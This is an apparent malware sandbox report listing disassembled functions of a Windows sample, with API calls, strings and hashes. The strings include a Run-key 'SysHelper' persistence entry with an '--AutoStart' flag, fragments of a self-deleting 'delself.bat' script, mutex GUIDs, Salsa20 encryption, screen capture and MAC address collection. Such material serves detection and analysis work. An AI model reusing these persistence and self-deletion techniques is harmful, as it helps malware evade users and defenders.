Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0040EB2C
__CxxThrowException@8.LIBCMT ref: 0040EB42
CryptHashData.ADVAPI32(00000000,?,?,00000000), ref: 0040EB4E
__CxxThrowException@8.LIBCMT ref: 0040EB64
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000,?,?,00000000), ref: 0040EB83
__CxxThrowException@8.LIBCMT ref: 0040EB95
_memset.LIBCMT ref: 0040EBB4
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 0040EBC8
__CxxThrowException@8.LIBCMT ref: 0040EBDA
_sprintf.LIBCMT ref: 0040EBF4
CryptDestroyHash.ADVAPI32(00000000), ref: 0040EC44
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 0040EC4F

Strings

%.2X, xrefs: 0040EBEE

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: Crypt$Exception@8HashThrow$ContextParam$AcquireCreateDataDestroyExceptionRaiseRelease_memset_sprintf
String ID: %.2X
API String ID: 1637485200-213608013
Opcode ID: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction ID: 14d7d02cf3c54262bdef7e6fa07b3cadf7b2b7504ea62fb0b9d39e8d8664034d
Opcode Fuzzy Hash: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction Fuzzy Hash: A6515371E40209ABDF11DBA6DC46FEFBBB8EB04704F14052AF505B62C1D77969058BA8

Function 004822E0 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 127windowCOMMON

Download Yara Rule

APIs

Part of subcall function 004549A0: GetModuleHandleA.KERNEL32(?,?,00000001,?,00454B72), ref: 004549C7
Part of subcall function 004549A0: GetProcAddress.KERNEL32(00000000,_OPENSSL_isservice), ref: 004549D7
Part of subcall function 004549A0: GetDesktopWindow.USER32 ref: 004549FB
Part of subcall function 004549A0: GetProcessWindowStation.USER32(?,00454B72), ref: 00454A01
Part of subcall function 004549A0: GetUserObjectInformationW.USER32(00000000,00000002,00000000,00000000,?,?,00454B72), ref: 00454A1C
Part of subcall function 004549A0: GetLastError.KERNEL32(?,00454B72), ref: 00454A2A
Part of subcall function 004549A0: GetUserObjectInformationW.USER32(00000000,00000002,?,?,?,?,00454B72), ref: 00454A65
Part of subcall function 004549A0: _wcsstr.LIBCMT ref: 00454A8A

CreateDCA.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00482316
CreateCompatibleDC.GDI32(00000000), ref: 00482323
GetDeviceCaps.GDI32(00000000,00000008), ref: 00482338
GetDeviceCaps.GDI32(00000000,0000000A), ref: 00482341
CreateCompatibleBitmap.GDI32(00000000,?,00000010), ref: 0048234E
SelectObject.GDI32(00000000,00000000), ref: 0048235C
GetObjectA.GDI32(00000000,00000018,?), ref: 0048236E
BitBlt.GDI32(?,00000000,00000000,?,00000010,?,00000000,00000000,00CC0020), ref: 004823CA
GetBitmapBits.GDI32(?,?,00000000), ref: 004823D6
SelectObject.GDI32(?,?), ref: 00482436
DeleteObject.GDI32(00000000), ref: 0048243D
DeleteDC.GDI32(?), ref: 0048244A
DeleteDC.GDI32(?), ref: 00482450

Strings

DISPLAY, xrefs: 00482311
.\crypto\rand\rand_win.c, xrefs: 00482383

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: Object$CreateDelete$BitmapCapsCompatibleDeviceInformationSelectUserWindow$AddressBitsDesktopErrorHandleLastModuleProcProcessStation_wcsstr
String ID: .\crypto\rand\rand_win.c$DISPLAY
API String ID: 151064509-1805842116
Opcode ID: 1b801d1ffbd88b82039091f0604768a30c592b3e6827ab76a1e426d578563625
Instruction ID: 00d76d2b57e2ae43ffa0e146b327d2d4306243c0a97269805a4caa25bb15a565
Opcode Fuzzy Hash: 1b801d1ffbd88b82039091f0604768a30c592b3e6827ab76a1e426d578563625
Instruction Fuzzy Hash: 0441BB71944300EBD3105BB6DC86F6FBBF8FF85B14F00052EFA54962A1E77598008B6A

Function 0040E670 Relevance: 26.3, APIs: 12, Strings: 3, Instructions: 78COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0040E67F

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: HeapAlloc.KERNEL32(00690000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

_malloc.LIBCMT ref: 0040E68B
_wprintf.LIBCMT ref: 0040E69E
_free.LIBCMT ref: 0040E6A4

Part of subcall function 00420BED: HeapFree.KERNEL32(00000000,00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C01
Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C13

GetAdaptersInfo.IPHLPAPI(00000000,00000288), ref: 0040E6B9
_free.LIBCMT ref: 0040E6C5
_malloc.LIBCMT ref: 0040E6CD
GetAdaptersInfo.IPHLPAPI(00000000,00000288), ref: 0040E6E0
_sprintf.LIBCMT ref: 0040E720
_wprintf.LIBCMT ref: 0040E732
_wprintf.LIBCMT ref: 0040E73C
_free.LIBCMT ref: 0040E745

Strings

Address: %s, mac: %s, xrefs: 0040E72D
Error allocating memory needed to call GetAdaptersinfo, xrefs: 0040E699
%02X:%02X:%02X:%02X:%02X:%02X, xrefs: 0040E71A

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: _free_malloc_wprintf$AdaptersHeapInfo$AllocErrorFreeLast_sprintf
String ID: %02X:%02X:%02X:%02X:%02X:%02X$Address: %s, mac: %s$Error allocating memory needed to call GetAdaptersinfo
API String ID: 473631332-1604013687
Opcode ID: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction ID: 1f0497fb971ee708fef02f82321736b2a43cb7681c3985dbc626545fd8dc3fd8
Opcode Fuzzy Hash: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction Fuzzy Hash: 251127B2A045647AC27162F76C02FFF3ADC8F45705F84056BFA98E1182EA5D5A0093B9

Function 0040FB98 Relevance: 15.3, APIs: 10, Instructions: 266stringCOMMON

Download Yara Rule

APIs

PathAppendW.SHLWAPI(?,?), ref: 0040FBD5
_memmove.LIBCMT ref: 0040FC3C
PathFileExistsW.SHLWAPI(?,?,?,?), ref: 0040FC63
_malloc.LIBCMT ref: 0040FC72
lstrcpyW.KERNEL32(00000000,?), ref: 0040FC8C
lstrcatW.KERNEL32(00000000,?), ref: 0040FCA5
_free.LIBCMT ref: 0040FCD7

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: Path$AppendExistsFile_free_malloc_memmovelstrcatlstrcpy
String ID:
API String ID: 3232302685-0
Opcode ID: 17126a02ccb6bbc5f32dfe245874f9dcbc49a53b6c6b99fc4e7ab7c0e104719e
Instruction ID: e959444c36dd18fc08dff6604914d564c76187b82df2896015b22d61e5b1ffa1
Opcode Fuzzy Hash: 17126a02ccb6bbc5f32dfe245874f9dcbc49a53b6c6b99fc4e7ab7c0e104719e
Instruction Fuzzy Hash: 09B19F70D00208DBDF20DFA4D945BDEB7B5BF15308F50407AE40AAB291E7799A89CF5A

Function 004382A2 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,?,00000002,?,?,00438568,?,00000000), ref: 004382E6
GetLocaleInfoW.KERNEL32(?,20001004,?,00000002,?,?,00438568,?,00000000), ref: 00438310

Strings

OCP, xrefs: 004382C4
ACP, xrefs: 004382B3

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 102afb5f5093c9dfdd8a19d426743dda05a0526c846065600ba6b69f24068785
Instruction ID: cf0fde08c92294f7ab6fed71b02f11d94bd2ad82eb759ef3fcb1a01a65759ec5
Opcode Fuzzy Hash: 102afb5f5093c9dfdd8a19d426743dda05a0526c846065600ba6b69f24068785
Instruction Fuzzy Hash: FA01C431200615ABDB205E59DC45FD77798AB18B54F10806BF908DA252EF79DA41C78C

Function 0040C070 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 280COMMON

Download Yara Rule

APIs

__wassert.LIBCMT ref: 0040C09A

Strings

input != nullptr && output != nullptr, xrefs: 0040C095
e:\doc\my work (c++)\_git\encryption\encryptionwinapi\Salsa20.inl, xrefs: 0040C090

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: __wassert
String ID: e:\doc\my work (c++)\_git\encryption\encryptionwinapi\Salsa20.inl$input != nullptr && output != nullptr
API String ID: 3993402318-1975116136
Opcode ID: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction ID: 1562121ec4d7abfac7b8d7a3269f54288592c24a15d8ca99342f0f863a8d7c6a
Opcode Fuzzy Hash: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction Fuzzy Hash: 43C18C75E002599FCB54CFA9C885ADEBBF1FF48300F24856AE919E7301E334AA558B54

Function 00411178 Relevance: 3.0, APIs: 2, Instructions: 19encryptionCOMMON

Download Yara Rule

APIs

CryptDestroyHash.ADVAPI32(?), ref: 00411190
CryptReleaseContext.ADVAPI32(?,00000000), ref: 004111A0

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: Crypt$ContextDestroyHashRelease
String ID:
API String ID: 3989222877-0
Opcode ID: 9f13d3873e772d8ace176f4c7e6ba3f69b1ad179b42c3e02a3fcf93c6db6df11
Instruction ID: be51c898aa0ddf1eb2c7ddf255022cb250d4a78141f94ceb906d675081cd9b05
Opcode Fuzzy Hash: 9f13d3873e772d8ace176f4c7e6ba3f69b1ad179b42c3e02a3fcf93c6db6df11
Instruction Fuzzy Hash: F0E0EC74F40305A7EF50DBB6AC49FABB6A86B08745F444526FB04F3251D62CD841C528

Function 0040EA51 Relevance: 3.0, APIs: 2, Instructions: 19encryptionCOMMON

Download Yara Rule

APIs

CryptDestroyHash.ADVAPI32(?), ref: 0040EA69
CryptReleaseContext.ADVAPI32(?,00000000), ref: 0040EA79

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: Crypt$ContextDestroyHashRelease
String ID:
API String ID: 3989222877-0
Opcode ID: a8a50747f5b84a4213a2f30896a43f764b121f6b091d033cf5eb92e4ffb0f2c5
Instruction ID: d41dd3a2d1aa4a110fdd7d588524fe859ae41a35967fa473e5fd9fc866ad400b
Opcode Fuzzy Hash: a8a50747f5b84a4213a2f30896a43f764b121f6b091d033cf5eb92e4ffb0f2c5
Instruction Fuzzy Hash: B2E0EC78F002059BDF50DBB79C89F6B72A87B08744B440835F804F3285D63CD9118928

Function 0040EC68 Relevance: 3.0, APIs: 2, Instructions: 19encryptionCOMMON

Download Yara Rule

APIs

CryptDestroyHash.ADVAPI32(?), ref: 0040EC80
CryptReleaseContext.ADVAPI32(?,00000000), ref: 0040EC90

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: Crypt$ContextDestroyHashRelease
String ID:
API String ID: 3989222877-0
Opcode ID: ea67dc9e2b6fd99e4d4b2082a3cd53fb6e3c794773a19c18e99169158be55dec
Instruction ID: 275dd0b1ae59d7aa5d1c23d1b64c6eee76a350be21334d4cde6f8a02617c5264
Opcode Fuzzy Hash: ea67dc9e2b6fd99e4d4b2082a3cd53fb6e3c794773a19c18e99169158be55dec
Instruction Fuzzy Hash: 97E0BDB4F0420597EF60DEB69E49F6B76A8AB04645B440835E904F2281DA3DD8218A29

Function 004278D5 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00423FED,00507990,00000014), ref: 004278D5

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 993d631f5fa9c6d26d39642974962185f27c3e068b68c4f08d438ea8c169c0b8
Instruction ID: c175dc67e46cb5b18e7b8d473ad54adbb7c8ff58e9170129aa5670ed77b5f39c
Opcode Fuzzy Hash: 993d631f5fa9c6d26d39642974962185f27c3e068b68c4f08d438ea8c169c0b8
Instruction Fuzzy Hash: 79B012F0705102474B480B387C9804935D47708305300407DF00BC11A0EF70C860BA08

Function 004124E0 Relevance: 79.0, APIs: 36, Strings: 9, Instructions: 214synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32(00000000,00000000,{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}), ref: 004124FE
GetLastError.KERNEL32 ref: 00412509
CloseHandle.KERNEL32 ref: 0041251C
CloseHandle.KERNEL32 ref: 00412539
CreateMutexA.KERNEL32(00000000,00000000,{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}), ref: 00412550
GetLastError.KERNEL32 ref: 0041255B
CloseHandle.KERNEL32 ref: 0041256E

Strings

del ", xrefs: 00412674
{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}, xrefs: 004124F5
"if exist ", xrefs: 00412648
TEMP, xrefs: 004125DF
" goto try, xrefs: 00412666
delself.bat, xrefs: 0041261C
D, xrefs: 00412720
@echo off:trydel ", xrefs: 0041262A
{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}, xrefs: 00412547

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: CloseHandle$CreateErrorLastMutex
String ID: "if exist "$" goto try$@echo off:trydel "$D$TEMP$del "$delself.bat${1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}${FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}
API String ID: 2372642624-488272950
Opcode ID: 4506a078386c228e7a8f507305766ec05e664451a55683de5f3f64ca7fb9d614
Instruction ID: b8d6f70f31989c1caf7dd59f8aefe182ce9601728b58fe5e15313657dd94e056
Opcode Fuzzy Hash: 4506a078386c228e7a8f507305766ec05e664451a55683de5f3f64ca7fb9d614
Instruction Fuzzy Hash: 03714E72940218AADF50ABE1DC89FEE7BACFB44305F0445A6F609D2090DF759A88CF64

Function 004635B0 Relevance: 21.5, APIs: 7, Strings: 5, Instructions: 475COMMONLIBRARYCODE

Download Yara Rule

APIs

_strncmp.LIBCMT ref: 004636AA
_strncmp.LIBCMT ref: 004636DA
_strncmp.LIBCMT ref: 00463835
_strncmp.LIBCMT ref: 00463946
_strncmp.LIBCMT ref: 004639EA
_strncmp.LIBCMT ref: 00463A06
_strncmp.LIBCMT ref: 00463A27

Strings

-----BEGIN , xrefs: 004636A4
, xrefs: 00463A90
-----END , xrefs: 0046382F, 00463940, 004639E4
.\crypto\pem\pem_lib.c, xrefs: 00463709, 0046374F, 00463791, 00463A69, 00463B02, 00463B62, 00463B85, 00463BDA
-----, xrefs: 004636D4, 00463A21

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: _strncmp
String ID: $-----$-----BEGIN $-----END $.\crypto\pem\pem_lib.c
API String ID: 909875538-2733969777
Opcode ID: cb9e21a8909c22ae086980ad9bb3b6b683aca236df65bd2ad44c41cd33641913
Instruction ID: 696768b63e7695c6252fa4396c8fc8293dc5daf0279c077ed15b414a568efc74
Opcode Fuzzy Hash: cb9e21a8909c22ae086980ad9bb3b6b683aca236df65bd2ad44c41cd33641913
Instruction Fuzzy Hash: 82F1E7B16483806BE721EE25DC42F5B77D89F5470AF04082FF948D6283F678DA09879B

Function 00425A97 Relevance: 19.6, APIs: 13, Instructions: 84COMMONLIBRARYCODE

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00425AAE

Part of subcall function 00428C96: __calloc_impl.LIBCMT ref: 00428CA5

__calloc_crt.LIBCMT ref: 00425AD2
_free.LIBCMT ref: 00425AE0
__calloc_crt.LIBCMT ref: 00425AEE
_free.LIBCMT ref: 00425AFE
_free.LIBCMT ref: 00425B04
__copytlocinfo_nolock.LIBCMT ref: 00425B13
__wsetlocale_nolock.LIBCMT ref: 00425B20
__setmbcp_nolock.LIBCMT ref: 00425B34
_free.LIBCMT ref: 00425B42
___removelocaleref.LIBCMT ref: 00425B49
___freetlocinfo.LIBCMT ref: 00425B50
_free.LIBCMT ref: 00425B56

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref__calloc_impl__copytlocinfo_nolock__setmbcp_nolock__wsetlocale_nolock
String ID:
API String ID: 1503006713-0
Opcode ID: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction ID: 8b5b6749b4f509f283f4592c8036b9fc340ac08d61b50d13b2524a40b9fdfb6a
Opcode Fuzzy Hash: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction Fuzzy Hash: 7E21B331705A21ABE7217F66B802E1F7FE4DF41728BD0442FF44459192EA39A800CA5D

Function 0041BAE0 Relevance: 18.3, APIs: 12, Instructions: 320windowCOMMON

Download Yara Rule

APIs

PostQuitMessage.USER32(00000000), ref: 0041BB49
DefWindowProcW.USER32(?,?,?,?), ref: 0041BBBA
_malloc.LIBCMT ref: 0041BBE4
GetComputerNameW.KERNEL32(00000000,?), ref: 0041BBF4
_free.LIBCMT ref: 0041BCD7

Part of subcall function 00411CD0: RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D12
Part of subcall function 00411CD0: _memset.LIBCMT ref: 00411D3B
Part of subcall function 00411CD0: RegQueryValueExW.KERNEL32(?,SysHelper,00000000,?,?,00000400), ref: 00411D63
Part of subcall function 00411CD0: RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D6C
Part of subcall function 00411CD0: lstrlenA.KERNEL32(" --AutoStart,?,?), ref: 00411DD6
Part of subcall function 00411CD0: PathFileExistsW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,-00000001), ref: 00411E48

IsWindow.USER32(?), ref: 0041BF69
DestroyWindow.USER32(?), ref: 0041BF7B
DefWindowProcW.USER32(?,00008003,?,?), ref: 0041BFA8

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: Window$Proc$CloseComputerDestroyExistsFileMessageNameOpenPathPostQueryQuitValue_free_malloc_memsetlstrlen
String ID:
API String ID: 3873257347-0
Opcode ID: 872b512db91234dd009610a63f2564f2aa606f2dd561917cc2f2326c6301647b
Instruction ID: 866eb7db68ae170cd8e17be643faf7720e0ae735171854e0fa5cbc2bc792534d
Opcode Fuzzy Hash: 872b512db91234dd009610a63f2564f2aa606f2dd561917cc2f2326c6301647b
Instruction Fuzzy Hash: 85C19171508340AFDB20DF25DD45B9BBBE0FF85318F14492EF888863A1D7799885CB9A

Function 00427B21 Relevance: 18.1, APIs: 12, Instructions: 84COMMON

Download Yara Rule

APIs

DecodePointer.KERNEL32 ref: 00427B29
_free.LIBCMT ref: 00427B42

Part of subcall function 00420BED: HeapFree.KERNEL32(00000000,00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C01
Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C13

_free.LIBCMT ref: 00427B55
_free.LIBCMT ref: 00427B73
_free.LIBCMT ref: 00427B85
_free.LIBCMT ref: 00427B96
_free.LIBCMT ref: 00427BA1
_free.LIBCMT ref: 00427BC5
EncodePointer.KERNEL32(00698900), ref: 00427BCC
_free.LIBCMT ref: 00427BE1
_free.LIBCMT ref: 00427BF7
_free.LIBCMT ref: 00427C1F

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: _free$Pointer$DecodeEncodeErrorFreeHeapLast
String ID:
API String ID: 3064303923-0
Opcode ID: ce5aad9df44a4d959ab26dd18bbfc051b559e509faa5c70b1469206ba00ae6fa
Instruction ID: d8036121d910c09816430481b6b6363fcbb95216f7cc64832fdbf6810ac9f003
Opcode Fuzzy Hash: ce5aad9df44a4d959ab26dd18bbfc051b559e509faa5c70b1469206ba00ae6fa
Instruction Fuzzy Hash: C2217535A042748BCB215F56BC80D4A7BA4EB14328B94453FEA14573A1CBF87889DA98

Function 00411B90 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 110stringcomCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00411BB0
CoCreateInstance.OLE32(004CE908,00000000,00000001,004CD568,00000000), ref: 00411BC8
CoUninitialize.OLE32 ref: 00411BD0
SHGetSpecialFolderLocation.SHELL32(00000000,00000007,?), ref: 00411C12
SHGetPathFromIDListW.SHELL32(?,?), ref: 00411C22
lstrcatW.KERNEL32(?,00500050), ref: 00411C3A
lstrcatW.KERNEL32(?), ref: 00411C44
GetSystemDirectoryW.KERNEL32(?,00000100), ref: 00411C68
lstrcatW.KERNEL32(?,\shell32.dll), ref: 00411C7A

Strings

\shell32.dll, xrefs: 00411C6E

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: lstrcat$CreateDirectoryFolderFromInitializeInstanceListLocationPathSpecialSystemUninitialize
String ID: \shell32.dll
API String ID: 679253221-3783449302
Opcode ID: 45e46fc2f9e137a48023c8b07f4e0b5fd5f09384ac33b8a62bbc2b8c253a451b
Instruction ID: 1ac700bd2dba931ae0f93f3cd35093afe8c3aec66b03df765643047a9f16b657
Opcode Fuzzy Hash: 45e46fc2f9e137a48023c8b07f4e0b5fd5f09384ac33b8a62bbc2b8c253a451b
Instruction Fuzzy Hash: 1D415E70A40209AFDB10CBA4DC88FEA7B7CEF44705F104499F609D7160D6B4AA45CB54

